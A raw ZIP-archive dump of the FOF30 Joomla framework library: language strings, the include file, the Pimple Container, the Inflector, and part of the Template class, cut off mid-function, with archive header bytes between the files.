LIB_FOF_MODEL_ERR_TREE_ONLYINROOT="Method %s() is only allowed for root nodes" LIB_FOF_MODEL_ERR_TREE_INVALIDLFTRGT_PARENT="Invalid lft/rgt values in parent node" LIB_FOF_MODEL_ERR_TREE_INVALIDLFTRGT_SIBLING="Invalid lft/rgt values in sibling node" LIB_FOF_MODEL_ERR_TREE_INVALIDLFTRGT_OTHER="Invalid lft/rgt values in current node" LIB_FOF_MODEL_ERR_TREE_INVALIDLFTRGT_CURRENT="Invalid lft/rgt values in other node" LIB_FOF_MODEL_ERR_TREE_ROOTNOTFOUND="No root found for table %s, node lft=%s" LIB_FOF_MODEL_ERR_FILTER_INVALIDFIELD="Invalid field object" LIB_FOF_MODEL_ERR_FILTER_NODBOBJECT="Database object unspecified creating a %s filter" LIB_FOF_TOOLBAR_ERR_MISSINGARGUMENT="The '%s' attribute is required for the '%s' button type" LIB_FOF_TOOLBAR_ERR_UNKNOWNBUTTONTYPE="Unknown button type %s" LIB_FOF_VIEW_MODELNOTINVIEW="The model %s does not exist in view %s" LIB_FOF_VIEW_UNRECOGNISEDEXTENSION="FOF: Unrecognised extension in view template %s" LIB_FOF_VIEW_POSSIBLYSUHOSIN="FOF: Could not write to your cache directory. Please make your cache directories (cache and administrator/cache under your site's root) writeable to PHP by changing the permissions. Alternatively, ask your host to make sure that they have not disabled the stream_wrapper_register() function in PHP. Moreover, if your host is using the Suhosin patch for PHP ask them to whitelist the fof:// stream wrapper in their server's php.ini file. If you do not understand what this means please contact your host and paste this entire message to them." PK���\/��9$$fof30/include.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ defined('_JEXEC') or die; if (!class_exists('FOF30\\Autoloader\\Autoloader')) { // Register utility functions require_once __DIR__ . '/Utils/helpers.php'; // Register the FOF autoloader require_once __DIR__ . '/Autoloader/Autoloader.php'; } if (!defined('FOF30_INCLUDED')) { define('FOF30_INCLUDED', '3.7.4'); JFactory::getLanguage()->load('lib_fof30', JPATH_SITE, 'en-GB', true); JFactory::getLanguage()->load('lib_fof30', JPATH_SITE, null, true); // Register a debug log if (defined('JDEBUG') && JDEBUG && class_exists('JLog')) { \JLog::addLogger(array('text_file' => 'fof.log.php'), \JLog::ALL, array('fof')); } } PK���\"Q�/ / fof30/Pimple/Container.phpnu&1i�<?php /* * This file is part of Pimple. * * Copyright (c) 2009 Fabien Potencier * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is furnished * to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace FOF30\Pimple; defined('_JEXEC') || die; use ArrayAccess; use InvalidArgumentException; use RuntimeException; use SplObjectStorage; /** * Container main class. * * @author Fabien Potencier */ class Container implements ArrayAccess { private $values = []; private $factories; private $protected; private $frozen = []; private $raw = []; private $keys = []; /** * Instantiate the container. * * Objects and parameters can be passed as argument to the constructor. * * @param array $values The parameters or objects. */ public function __construct(array $values = []) { $this->factories = new SplObjectStorage(); $this->protected = new SplObjectStorage(); foreach ($values as $key => $value) { $this->offsetSet($key, $value); } } /** * Sets a parameter or an object. * * Objects must be defined as Closures. * * Allowing any PHP callable leads to difficult to debug problems * as function names (strings) are callable (creating a function with * the same name as an existing parameter would break your container). * * @param string $id The unique identifier for the parameter or object * @param mixed $value The value of the parameter or a closure to define an object * * @throws RuntimeException Prevent override of a frozen service */ public function offsetSet($id, $value) { if (isset($this->frozen[$id])) { throw new RuntimeException(sprintf('Cannot override frozen service "%s".', $id)); } $this->values[$id] = $value; $this->keys[$id] = true; } /** * Gets a parameter or an object. * * @param string $id The unique identifier for the parameter or object * * @return mixed The value of the parameter or an object * * @throws InvalidArgumentException if the identifier is not defined */ public function offsetGet($id) { if (!isset($this->keys[$id])) { throw new InvalidArgumentException(sprintf('Identifier "%s" is not defined.', $id)); } if ( isset($this->raw[$id]) || !is_object($this->values[$id]) || isset($this->protected[$this->values[$id]]) || !method_exists($this->values[$id], '__invoke') ) { return $this->values[$id]; } if (isset($this->factories[$this->values[$id]])) { return $this->values[$id]($this); } $raw = $this->values[$id]; $val = $this->values[$id] = $raw($this); $this->raw[$id] = $raw; $this->frozen[$id] = true; return $val; } /** * Checks if a parameter or an object is set. * * @param string $id The unique identifier for the parameter or object * * @return bool */ public function offsetExists($id) { return isset($this->keys[$id]); } /** * Unsets a parameter or an object. * * @param string $id The unique identifier for the parameter or object */ public function offsetUnset($id) { if (isset($this->keys[$id])) { if (is_object($this->values[$id])) { unset($this->factories[$this->values[$id]], $this->protected[$this->values[$id]]); } unset($this->values[$id], $this->frozen[$id], $this->raw[$id], $this->keys[$id]); } } /** * Marks a callable as being a factory service. * * @param callable $callable A service definition to be used as a factory * * @return callable The passed callable * * @throws InvalidArgumentException Service definition has to be a closure of an invokable object */ public function factory($callable) { if (!is_object($callable) || !method_exists($callable, '__invoke')) { throw new InvalidArgumentException('Service definition is not a Closure or invokable object.'); } $this->factories->attach($callable); return $callable; } /** * Protects a callable from being interpreted as a service. * * This is useful when you want to store a callable as a parameter. * * @param callable $callable A callable to protect from being Εν4LυΑ+ΕD (I have to use a stupid mix Greek and * leetspeak because low quality hosts blacklist files due to their file scanners * being utterly broken) * * @return callable The passed callable * * @throws InvalidArgumentException Service definition has to be a closure of an invokable object */ public function protect($callable) { if (!is_object($callable) || !method_exists($callable, '__invoke')) { throw new InvalidArgumentException('Callable is not a Closure or invokable object.'); } $this->protected->attach($callable); return $callable; } /** * Gets a parameter or the closure defining an object. * * @param string $id The unique identifier for the parameter or object * * @return mixed The value of the parameter or the closure defining an object * * @throws InvalidArgumentException if the identifier is not defined */ public function raw($id) { if (!isset($this->keys[$id])) { throw new InvalidArgumentException(sprintf('Identifier "%s" is not defined.', $id)); } if (isset($this->raw[$id])) { return $this->raw[$id]; } return $this->values[$id]; } /** * Extends an object definition. * * Useful when you want to extend an existing object definition, * without necessarily loading that object. * * @param string $id The unique identifier for the object * @param callable $callable A service definition to extend the original * * @return callable The wrapped callable * * @throws InvalidArgumentException if the identifier is not defined or not a service definition */ public function extend($id, $callable) { if (!isset($this->keys[$id])) { throw new InvalidArgumentException(sprintf('Identifier "%s" is not defined.', $id)); } if (!is_object($this->values[$id]) || !method_exists($this->values[$id], '__invoke')) { throw new InvalidArgumentException(sprintf('Identifier "%s" does not contain an object definition.', $id)); } if (!is_object($callable) || !method_exists($callable, '__invoke')) { throw new InvalidArgumentException('Extension service definition is not a Closure or invokable object.'); } $factory = $this->values[$id]; $extended = function ($c) use ($callable, $factory) { return $callable($factory($c), $c); }; if (isset($this->factories[$factory])) { $this->factories->detach($factory); $this->factories->attach($extended); } return $this[$id] = $extended; } /** * Returns all defined value names. * * @return array An array of value names */ public function keys() { return array_keys($this->values); } /** * Registers a service provider. * * @param ServiceProviderInterface $provider A ServiceProviderInterface instance * @param array $values An array of values that customizes the provider * * @return static */ public function register(ServiceProviderInterface $provider, array $values = []) { $provider->register($this); foreach ($values as $key => $value) { $this[$key] = $value; } return $this; } } PK���\K��]])fof30/Pimple/ServiceProviderInterface.phpnu&1i�<?php /* * This file is part of Pimple. * * Copyright (c) 2009 Fabien Potencier * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is furnished * to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace FOF30\Pimple; defined('_JEXEC') || die; /** * Pimple service provider interface. * * @author Fabien Potencier * @author Dominik Zogg */ interface ServiceProviderInterface { /** * Registers services on the given container. * * This method should only be used to configure services and parameters. * It should not get services. * * @param Container $pimple An Container instance */ public function register(Container $pimple); } PK���\Wh��t2t2fof30/Inflector/Inflector.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Inflector; defined('_JEXEC') || die; /** * An Inflector to pluralize and singularize English nouns. */ class Inflector { /** * Rules for pluralizing and singularizing of nouns. * * @var array */ protected $rules = [ // Pluralization rules. The regex on the left transforms to the regex on the right. 'pluralization' => [ '/move$/i' => 'moves', '/sex$/i' => 'sexes', '/child$/i' => 'children', '/children$/i' => 'children', '/man$/i' => 'men', '/men$/i' => 'men', '/foot$/i' => 'feet', '/feet$/i' => 'feet', '/person$/i' => 'people', '/people$/i' => 'people', '/taxon$/i' => 'taxa', '/taxa$/i' => 'taxa', '/(quiz)$/i' => '$1zes', '/^(ox)$/i' => '$1en', '/oxen$/i' => 'oxen', '/(m|l)ouse$/i' => '$1ice', '/(m|l)ice$/i' => '$1ice', '/(matr|vert|ind|suff)ix|ex$/i' => '$1ices', '/(x|ch|ss|sh)$/i' => '$1es', '/([^aeiouy]|qu)y$/i' => '$1ies', '/(?:([^f])fe|([lr])f)$/i' => '$1$2ves', '/sis$/i' => 'ses', '/([ti]|addend)um$/i' => '$1a', '/([ti]|addend)a$/i' => '$1a', '/(alumn|formul)a$/i' => '$1ae', '/(alumn|formul)ae$/i' => '$1ae', '/(buffal|tomat|her)o$/i' => '$1oes', '/(bu)s$/i' => '$1ses', '/(campu)s$/i' => '$1ses', '/(alias|status)$/i' => '$1es', '/(octop|vir)us$/i' => '$1i', '/(octop|vir)i$/i' => '$1i', '/(gen)us$/i' => '$1era', '/(gen)era$/i' => '$1era', '/(ax|test)is$/i' => '$1es', '/s$/i' => 's', '/$/' => 's', ], // Singularization rules. The regex on the left transforms to the regex on the right. 'singularization' => [ '/cookies$/i' => 'cookie', '/moves$/i' => 'move', '/sexes$/i' => 'sex', '/children$/i' => 'child', '/men$/i' => 'man', '/feet$/i' => 'foot', '/people$/i' => 'person', '/taxa$/i' => 'taxon', '/databases$/i' => 'database', '/menus$/i' => 'menu', '/(quiz)zes$/i' => '\1', '/(matr|suff)ices$/i' => '\1ix', '/(vert|ind|cod)ices$/i' => '\1ex', '/^(ox)en/i' => '\1', '/(alias|status)es$/i' => '\1', '/(tomato|hero|buffalo)es$/i' => '\1', '/([octop|vir])i$/i' => '\1us', '/(gen)era$/i' => '\1us', '/(cris|^ax|test)es$/i' => '\1is', '/is$/i' => 'is', '/us$/i' => 'us', '/ias$/i' => 'ias', '/(shoe)s$/i' => '\1', '/(o)es$/i' => '\1e', '/(bus)es$/i' => '\1', '/(campus)es$/i' => '\1', '/([m|l])ice$/i' => '\1ouse', '/(x|ch|ss|sh)es$/i' => '\1', '/(m)ovies$/i' => '\1ovie', '/(s)eries$/i' => '\1eries', '/(v)ies$/i' => '\1ie', '/([^aeiouy]|qu)ies$/i' => '\1y', '/([lr])ves$/i' => '\1f', '/(tive)s$/i' => '\1', '/(hive)s$/i' => '\1', '/([^f])ves$/i' => '\1fe', '/(^analy)ses$/i' => '\1sis', '/((a)naly|(b)a|(d)iagno|(p)arenthe|(p)rogno|(s)ynop|(t)he)ses$/i' => '\1\2sis', '/([ti]|addend)a$/i' => '\1um', '/(alumn|formul)ae$/i' => '$1a', '/(n)ews$/i' => '\1ews', '/(.*)ss$/i' => '\1ss', '/(.*)s$/i' => '\1', ], // Uncountable objects are always singular 'uncountable' => [ 'aircraft', 'cannon', 'deer', 'equipment', 'fish', 'information', 'money', 'moose', 'news', 'rice', 'series', 'sheep', 'species', 'swine', ], ]; /** * Cache of pluralized and singularized nouns. * * @var array */ protected $cache = [ 'singularized' => [], 'pluralized' => [], ]; public function deleteCache() { $this->cache['pluralized'] = []; $this->cache['singularized'] = []; } /** * Add a word to the cache, useful to make exceptions or to add words in other languages. * * @param string $singular word. * @param string $plural word. * * @return void */ public function addWord($singular, $plural) { $this->cache['pluralized'][$singular] = $plural; $this->cache['singularized'][$plural] = $singular; } /** * Singular English word to plural. * * @param string $word word to pluralize. * * @return string Plural noun. */ public function pluralize($word) { // Get the cached noun of it exists if (isset($this->cache['pluralized'][$word])) { return $this->cache['pluralized'][$word]; } // Check if the noun is already in plural form, i.e. in the singularized cache if (isset($this->cache['singularized'][$word])) { return $word; } // Create the plural noun if (in_array($word, $this->rules['uncountable'])) { $_cache['pluralized'][$word] = $word; return $word; } foreach ($this->rules['pluralization'] as $regexp => $replacement) { $matches = null; $plural = preg_replace($regexp, $replacement, $word, -1, $matches); if ($matches > 0) { $_cache['pluralized'][$word] = $plural; return $plural; } } return $word; } /** * Plural English word to singular. * * @param string $word Word to singularize. * * @return string Singular noun. */ public function singularize($word) { // Get the cached noun of it exists if (isset($this->cache['singularized'][$word])) { return $this->cache['singularized'][$word]; } // Check if the noun is already in singular form, i.e. in the pluralized cache if (isset($this->cache['pluralized'][$word])) { return $word; } // Create the singular noun if (in_array($word, $this->rules['uncountable'])) { $_cache['singularized'][$word] = $word; return $word; } foreach ($this->rules['singularization'] as $regexp => $replacement) { $matches = null; $singular = preg_replace($regexp, $replacement, $word, -1, $matches); if ($matches > 0) { $_cache['singularized'][$word] = $singular; return $singular; } } return $word; } /** * Returns given word as CamelCased. * * Converts a word like "foo_bar" or "foo bar" to "FooBar". It * will remove non alphanumeric characters from the word, so * "who's online" will be converted to "WhoSOnline" * * @param string $word Word to convert to camel case. * * @return string UpperCamelCasedWord */ public function camelize($word) { $word = preg_replace('/[^a-zA-Z0-9\s]/', ' ', $word); $word = str_replace(' ', '', ucwords(strtolower(str_replace('_', ' ', $word)))); return $word; } /** * Converts a word "into_it_s_underscored_version" * * Convert any "CamelCased" or "ordinary Word" into an "underscored_word". * * @param string $word Word to underscore * * @return string Underscored word */ public function underscore($word) { $word = preg_replace('/(\s)+/', '_', $word); $word = strtolower(preg_replace('/(?<=\\w)([A-Z])/', '_\\1', $word)); return $word; } /** * Convert any "CamelCased" word into an array of strings * * Returns an array of strings each of which is a substring of string formed * by splitting it at the camelcased letters. * * @param string $word Word to explode * * @return array Array of strings */ public function explode($word) { $result = explode('_', self::underscore($word)); return $result; } /** * Convert an array of strings into a "CamelCased" word. * * @param array $words Array to implode * * @return string UpperCamelCasedWord */ public function implode($words) { $result = self::camelize(implode('_', $words)); return $result; } /** * Returns a human-readable string from $word. * * Returns a human-readable string from $word, by replacing * underscores with a space, and by upper-casing the initial * character by default. * * @param string $word String to "humanize" * * @return string Human-readable word */ public function humanize($word) { $result = ucwords(strtolower(str_replace("_", " ", $word))); return $result; } /** * Returns camelBacked version of a string. Same as camelize but first char is lowercased. * * @param string $string String to be camelBacked. * * @return string * * @see camelize */ public function variablize($string) { $string = self::camelize(self::underscore($string)); $result = strtolower(substr($string, 0, 1)); $variable = preg_replace('/\\w/', $result, $string, 1); return $variable; } /** * Check to see if an English word is singular * * @param string $string The word to check * * @return boolean */ public function isSingular($string) { // Check cache assuming the string is plural. $singular = $this->cache['singularized'][$string] ?? null; $plural = $singular && isset($this->cache['pluralized'][$singular]) ? $this->cache['pluralized'][$singular] : null; if ($singular && $plural) { return $plural != $string; } // If string is not in the cache, try to pluralize and singularize it. return self::singularize(self::pluralize($string)) == $string; } /** * Check to see if an English word is plural. * * @param string $string String to be checked. * * @return boolean */ public function isPlural($string) { // Uncountable objects are always singular (e.g. information) if (in_array($string, $this->rules['uncountable'])) { return false; } // Check cache assuming the string is singular. $plural = $this->cache['pluralized'][$string] ?? null; $singular = $plural && isset($this->cache['singularized'][$plural]) ? $this->cache['singularized'][$plural] : null; if ($plural && $singular) { return $singular != $string; } // If string is not in the cache, try to singularize and pluralize it. return self::pluralize(self::singularize($string)) == $string; } /** * Gets a part of a CamelCased word by index. * * Use a negative index to start at the last part of the word (-1 is the * last part) * * @param string $string Word * @param integer $index Index of the part * @param string $default Default value * * @return string */ public function getPart($string, $index, $default = null) { $parts = self::explode($string); if ($index < 0) { $index = count($parts) + $index; } return $parts[$index] ?? $default; } } PK���\:YC4K4Kfof30/Template/Template.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Template; defined('_JEXEC') || die; use Exception; use FOF30\Container\Container; use Joomla\CMS\Document\Document; use Joomla\CMS\Helper\ModuleHelper; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use Joomla\CMS\Uri\Uri; use stdClass; /** * A utility class to load view templates, media files and modules. * * @since 1.0 */ class Template { /** * The component container * * @var Container */ protected $container = null; /** * Public constructor * * @param Container $container The component container */ function __construct(Container $container) { $this->container = $container; } /** * Add a CSS file to the page generated by the CMS * * @param string $uri A path definition understood by parsePath, e.g. media://com_example/css/foo.css * @param string $version (optional) Version string to be added to the URL * @param string $type MIME type of the stylesheeet * @param string $media Media target definition of the style sheet, e.g. "screen" * @param array $attribs Array of attributes * * @see self::parsePath * * @return void */ public function addCSS($uri, $version = null, $type = 'text/css', $media = null, $attribs = []) { if ($this->container->platform->isCli()) { return; } // Make sure we have attributes if (empty($attribs) || !is_array($attribs)) { $attribs = []; } $url = $this->parsePath($uri); $document = $this->container->platform->getDocument(); // Joomla! 3.7+ uses a single method for everything if (version_compare(JVERSION, '3.6.999', 'ge')) { $options = [ 'version' => is_null($version) ? null : ((string) $version), ]; $attribs['type'] = $type; if (!empty($media)) { $attribs['media'] = $media; } $document->addStyleSheet($url, $options, $attribs); return; } // Joomla! 3.6 and lower have separate methods for versioned and non-versioned files $method = 'addStyleSheet' . (!empty($version) ? 'Version' : ''); if (!method_exists($document, $method)) { return; } if (empty($version)) { $document->addStyleSheet($url, $type, $media, $attribs); return; } $document->addStyleSheetVersion($url, (string) $version, $type, $media, $attribs); } /** * Add a JS script file to the page generated by the CMS. * * There are three combinations of defer and async (see http://www.w3schools.com/tags/att_script_defer.asp): * * $defer false, $async true: The script is executed asynchronously with the rest of the page * (the script will be executed while the page continues the parsing) * * $defer true, $async false: The script is executed when the page has finished parsing. * * $defer false, $async false. (default) The script is loaded and executed immediately. When it finishes * loading the browser continues parsing the rest of the page. * * When you are using $async = true there is no guarantee about the load order of the scripts. Whichever * script loads first will be executed first. The order they appear on the page is completely irrelevant. * * If you set both async and defer to true it's the same as setting only async to true. That is to say, scripts will * be loaded and executed in an order that is NOT guaranteed. Only set async for completely standalone scripts. * * If you are using defer you should pass script options using $this->container->platform->addScriptOptions(). This * will add the script options as a JSON document in the document head. You can retrieve these options client-side * with Joomla.getOptions() as long as the Joomla core JS has already been loaded, i.e. your deferred script is * added AFTER Joomla's core code. * * @param string $uri A path definition understood by parsePath, e.g. media://com_example/js/foo.js * @param boolean $defer Adds the defer attribute, see above * @param boolean $async Adds the async attribute, see above * @param string $version (optional) Version string to be added to the URL * @param string $type MIME type of the script * * @see self::parsePath * * @return void */ public function addJS($uri, $defer = false, $async = false, $version = null, $type = 'text/javascript') { if ($this->container->platform->isCli()) { return; } $url = $this->container->template->parsePath($uri); $document = $this->container->platform->getDocument(); // Setting both defer and async is nonsense. Only async makes sense in this case. if ($defer && $async) { $defer = false; } // Joomla! 3.7+ uses a single method for everything if (version_compare(JVERSION, '3.6.999', 'ge')) { $options = [ 'version' => is_null($version) ? null : ((string) $version), ]; $attribs['defer'] = $defer; $attribs['async'] = $async; if (!empty($media)) { $attribs['mime'] = $type; } $document->addScript($url, $options, $attribs); return; } // Joomla! 3.6 and lower have separate methods for versioned and non-versioned files $method = 'addScript' . (!empty($version) ? 'Version' : ''); if (!method_exists($document, $method)) { return; } if (empty($version)) { $document->addScript($url, $type, $defer, $async); return; } $document->addScriptVersion($url, (string) $version, $type, $defer, $async); } /** * Adds an inline JavaScript script to the page header * * @param string $script The script content to add * @param string $type The MIME type of the script */ public function addJSInline($script, $type = 'text/javascript') { if ($this->container->platform->isCli()) { return; } $document = $this->container->platform->getDocument(); if (!method_exists($document, 'addScriptDeclaration')) { return; } $document->addScriptDeclaration($script, $type); } /** * Adds an inline stylesheet (inline CSS) to the page header * * @param string $css The stylesheet content to add * @param string $type The MIME type of the script */ public function addCSSInline($css, $type = 'text/css') { if ($this->container->platform->isCli()) { return; } $document = $this->container->platform->getDocument(); if (!method_exists($document, 'addStyleDeclaration')) { return; } $document->addStyleDeclaration($css, $type); } /** * Creates a SEF compatible sort header. Standard Joomla function will add a href="#" tag, so with SEF * enabled, the browser will follow the fake link instead of processing the onSubmit event; so we * need a fix. * * @param string $text Header text * @param string $field Field used for sorting * @param stdClass $list Object holding the direction and the ordering field * * @return string HTML code for sorting */ public function sefSort($text, $field, $list) { $sort = HTMLHelper::_('grid.sort', Text::_(strtoupper($text)) . ' ', $field, $list->order_Dir, $list->order); return str_replace('href="#"', 'href="javascript:void(0);"', $sort); } /** * Parse a fancy path definition into a path relative to the site's root, * respecting template overrides, suitable for inclusion of media files. * For example, media://com_foobar/css/test.css is parsed into * media/com_foobar/css/test.css if no override is found, or * templates/mytemplate/media/com_foobar/css/test.css if the current * template is called mytemplate and there's a media override for it. * * Regarding plugins, templates are searched inside the plugin's tmpl directory and the template's html directory. * For instance considering plugin://system/example/something the files will be looked for in: * plugins/system/example/tmpl/something.php * templates/yourTemplate/html/plg_system_example/something.php * Template paths for plugins are uncommon and not standard Joomla! practice. They make sense when you are * implementing features of your component as plugins and they need to provide HTML output, e.g. some of the * integration plugins we use in Akeeba Subscriptions. * * The valid protocols are ( @param string $path Fancy path * * @param boolean $localFile When true, it returns the local path, not the URL * * @return string Parsed path * @see self::getAltPaths ): * media:// The media directory or a media override * plugin:// Given as plugin://pluginType/pluginName/template, e.g. plugin://system/example/something * admin:// Path relative to administrator directory (no overrides) * site:// Path relative to site's root (no overrides) * auto:// Automatically guess if it should be site:// or admin:// * module:// The module directory or a template override (must be module://moduleName/templateName) * */ public function parsePath($path, $localFile = false) { // Make sure the path has a protocol we can parse. Otherwise just return the raw path. $protocol = ''; $separatorPosition = strpos($path, '://'); if ($separatorPosition === false) { return $path; } $protocol = substr($path, 0, $separatorPosition); switch ($protocol) { case 'media': case 'plugin': case 'module': case 'auto': case 'admin': case 'site': break; default: return $path; } // Get the platform directories through the container $platformDirs = $this->container->platform->getPlatformBaseDirs(); if ($localFile) { $url = rtrim($platformDirs['root'], DIRECTORY_SEPARATOR) . '/'; } else { $url = $this->container->platform->URIroot(); } $altPaths = $this->getAltPaths($path); $filePath = $altPaths['normal']; // If JDEBUG is enabled, prefer the debug path, else prefer an alternate path if present if (defined('JDEBUG') && JDEBUG && isset($altPaths['debug'])) { if (file_exists($platformDirs['public'] . '/' . $altPaths['debug'])) { $filePath = $altPaths['debug']; } } elseif (isset($altPaths['alternate'])) { if (file_exists($platformDirs['public'] . '/' . $altPaths['alternate'])) { $filePath = $altPaths['alternate']; } } $url .= $filePath; return $url; } /** * Parse a fancy path definition into a path relative to the site's root. * It returns both the normal and alternative (template media override) path. * For example, media://com_foobar/css/test.css is parsed into * array( * 'normal' => 'media/com_foobar/css/test.css', * 'alternate' => 'templates/mytemplate/media/com_foobar/css//test.css' * ); * * The valid protocols are: * media:// The media directory or a media override * admin:// Path relative to administrator directory (no alternate) * site:// Path relative to site's root (no alternate) * auto:// Automatically guess if it should be site:// or admin:// * plugin:// The plugin directory or a template override (must be plugin://pluginType/pluginName/templateName) * module:// The module directory or a template override (must be module://moduleName/templateName) * * @param string $path Fancy path * * @return array Array of normal and alternate parsed path */ public function getAltPaths($path) { $protoAndPath = explode('://', $path, 2); if (count($protoAndPath) < 2) { $protocol = 'media'; } else { $protocol = $protoAndPath[0]; $path = $protoAndPath[1]; } if ($protocol == 'auto') { $protocol = $this->container->platform->isBackend() ? 'admin' : 'site'; } $path = ltrim($path, '/' . DIRECTORY_SEPARATOR); switch ($protocol) { case 'media': // Do we have a media override in the template? $pathAndParams = explode('?', $path, 2); $ret = [ 'normal' => 'media/' . $pathAndParams[0], 'alternate' => $this->container->platform->getTemplateOverridePath('media:/' . $pathAndParams[0], false), ]; break; case 'plugin': // The path is pluginType/pluginName/viewTemplate $pathInfo = explode('/', $path); $pluginType = $pathInfo[0] ?? 'system'; $pluginName = $pathInfo[1] ?? 'foobar'; $viewTemplate = $pathInfo[2] ?? 'default'; $pluginSystemName = 'plg_' . $pluginType . '_' . $pluginName; $ret = [ 'normal' => 'plugins/' . $pluginType . '/' . $pluginName . '/tmpl/' . $viewTemplate, 'alternate' => $this->container->platform->getTemplateOverridePath($pluginSystemName . '/' . $viewTemplate, false), ]; break; case 'module': // The path is moduleName/viewTemplate $pathInfo = explode('/', $path, 2); $moduleName = $pathInfo[0] ?? 'foobar'; $viewTemplate = $pathInfo[1] ?? 'default'; $moduleSystemName = 'mod_' . $moduleName; $basePath = $this->container->platform->isBackend() ? 'administrator/' : ''; $ret = [ 'normal' => $basePath . 'modules/' . $moduleSystemName . '/tmpl/' . $viewTemplate, 'alternate' => $this->container->platform->getTemplateOverridePath($moduleSystemName . '/' . $viewTemplate, false), ]; break; case 'admin': $ret = [ 'normal' => 'administrator/' . $path, ]; break; default: case 'site': $ret = [ 'normal' => $path, ]; break; } // For CSS and JS files, add a debug path if the supplied file is compressed $filesystem = $this->container->filesystem; $ext = $filesystem->getExt($ret['normal']); if (in_array($ext, ['css', 'js'])) { $file = basename($filesystem->stripExt($ret['normal'])); /* * Detect if we received a file in the format name.min.ext * If so, strip the .min part out, otherwise append -uncompressed */ if (strlen($file) > 4 && strrpos($file, '.min', '-4')) { $position = strrpos($file, '.min', '-4'); $filename = str_replace('.min', '.', $file, $position) . $ext; } else { $filename = $file . '-uncompressed.' . $ext; } // Clone the $ret array so we can manipulate the 'normal' path a bit $t1 = (object) $ret; $temp = clone $t1; unset($t1); $temp = (array) $temp; $normalPath = explode('/', $temp['normal']); array_pop($normalPath); $normalPath[] = $filename; $ret['debug'] = implode('/', $normalPath); } return $ret; } /** * Returns the contents of a module position * * @param string $position The position name, e.g. "position-1" * @param int $style Rendering style, see JDocumentRendererModule::render * * @return string The contents of the module position */ public function loadPosition($position, $style = -2) { $document = $this->container->platform->getDocument(); if (!($document instanceof Document)) { return ''; } if (!method_exists($document, 'loadRenderer')) { return ''; } try { $renderer = $document->loadRenderer('module'); } catch (Exception $exc) { return ''; } $params = ['style' => $style]; $contents = ''; foreach (ModuleHelper::getModules($position) as $mod) { $contents .= $renderer->render($mod, $params); } return $contents; } /** * Render a module by name * * @param string $moduleName The name of the module (real, eg 'Breadcrumbs' or folder, eg 'mod_breadcrumbs') * @param int $style The rendering style, see JDocumentRendererModule::render * * @return string The rendered module */ public function loadModule($moduleName, $style = -2) { $document = $this->container->platform->getDocument(); if (!($document instanceof Document)) { return ''; } if (!method_exists($document, 'loadRenderer')) { return ''; } try { $renderer = $document->loadRenderer('module'); } catch (Exception $exc) { return ''; } $params = ['style' => $style]; $mod = ModuleHelper::getModule($moduleName); if (empty($mod)) { return ''; } return $renderer->render($mod, $params); } /** * Performs SEF routing on a non-SEF URL, returning the SEF URL. * * When the $merge option is set to true the option, view, layout and format parameters of the current URL and the * requested route will be merged. For example, assuming that current url is * http://example.com/index.php?option=com_foo&view=cpanel * then * $template->route('view=categories&layout=tree'); * will result to * http://example.com/index.php?option=com_foo&view=categories&layout=tree * * If $merge is unspecified (null) we will auto-detect the intended behavior. If you haven't specified option and * one of view or task we will merge. Otherwise no merging takes place. This covers most use cases of FOF 3.0. * * @param string $route The parameters string * @param bool $merge Should I perform parameter merging? * * @return string The human readable, complete url */ public function route($route = '', $merge = null) { $route = trim($route); /** * Backwards compatibility with FOF 3.0: if the merge option is unspecified we will auto-detect the behaviour. * If option and either one of view or task are present we won't merge. */ if (is_null($merge)) { $hasOption = (strpos($route, 'option=') !== false); $hasView = (strpos($route, 'view=') !== false); $hasTask = (strpos($route, 'task=') !== false); $merge = !($hasOption && ($hasView || $hasTask)); } if ($merge) { // Handle special cases before trying to merge if ($route == 'index.php' || $route == 'index.php?') { $result = 'index.php'; } elseif (substr($route, 0, 1) == '&') { $url = Uri::getInstance(); $vars = []; parse_str($route, $vars); $url->setQuery(array_merge($url->getQuery(true), $vars)); $result = 'index.php?' . $url->getQuery(); } else { $url = Uri::getInstance(); $props = $url->getQuery(true); // Strip 'index.php?' if (substr($route, 0, 10) == 'index.php?') { $route = substr($route, 10); } // Parse route $parts = []; parse_str($route, $parts); $result = []; // Check to see if there is component information in the route if not add it if (!isset($parts['option']) 